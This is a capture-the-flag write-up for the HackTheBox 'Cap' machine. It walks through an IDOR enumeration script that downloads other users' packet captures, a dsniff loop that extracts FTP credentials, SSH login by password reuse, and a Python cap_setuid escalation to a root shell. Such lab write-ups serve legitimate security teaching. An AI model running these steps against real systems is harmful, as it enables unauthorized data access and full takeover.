# Cap Writeup - HackTheBox

> IDOR vulnerability exposes PCAP file containing FTP credentials. Lateral movement via SSH, then privilege escalation using Python's cap_setuid capability.

- **URL:** https://hackindex.io/writeups/cap
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/cap
- **Tags:** idor, buffer-overflow, ftp, ssh, privilege-escalation, capabilities, pcap
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 2 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

### Port Scan

```bash
nmap -sV $TARGET_IP
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     vsftpd 3.0.3
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
# 80/tcp open  http    Gunicorn
# |_http-title: Security Dashboard
```

Three ports. FTP, SSH, and a Python web app on port 80. vsftpd 3.0.3 has no useful RCE ,  only a DoS in searchsploit. The web app is the attack surface.

## Initial Access

### IDOR on PCAP Download Endpoint

Browsing to `http://$TARGET_IP/` lands on a security dashboard. The app generates network capture reports accessible at `/data/<id>` and downloadable at `/download/<id>`. The ID is a sequential integer with no access control ,  changing the number in the URL accesses other users' captures.

Automate downloading all captures in range:

```python
# iterate.py
import requests, os

os.makedirs('downloads', exist_ok=True)
session = requests.Session()

for i in range(-100, 100):
    resp = session.get(f"http://$TARGET_IP/download/{i}")
    if resp.status_code != 200:
        continue
    with open(f"downloads/{i}.pcap", "wb") as f:
        f.write(resp.content)
    print(f"http://$TARGET_IP/download/{i}: {resp.status_code}")
```

```bash
python3 iterate.py
```

### FTP Credential Extraction from PCAP

Analyse all downloaded captures for cleartext credentials:

```bash
for i in {0..17}; do dsniff -p ./downloads/$i.pcap && echo '---'; done
```

PCAP `0.pcap` contains an FTP session in cleartext:

```
>>>>> 01/06/26 13:37:44 tcp 192.168.196.1.54411 -> 192.168.196.16.21 (ftp)
USER nathan
PASS $NATHAN_PASSWORD
```

### SSH as nathan

The FTP credentials work directly on SSH ,  password reuse:

```bash
ssh nathan@$TARGET_IP
```

## Privilege Escalation

### Python `cap_setuid` Capability Abuse

Linpeas flags a dangerous capability on the system Python binary:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

`cap_setuid` allows a process to change its UID to any value including 0, without being root. Since `python3.8` has this capability set, calling `os.setuid(0)` from within Python drops directly to root:

```bash
/usr/bin/python3.8
# import os
# os.setuid(0)
# os.system("/bin/bash")
```

```bash
whoami
# root
```

Root shell.

Related

## References

- [https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities) - HackTricks, Linux capabilities privilege escalation
- [https://man7.org/linux/man-pages/man7/capabilities.7.html](https://man7.org/linux/man-pages/man7/capabilities.7.html) - Linux man page, capabilities(7)
- [https://www.nta-monitor.com/tools/dsniff/](https://www.nta-monitor.com/tools/dsniff/) - dsniff, network credential sniffer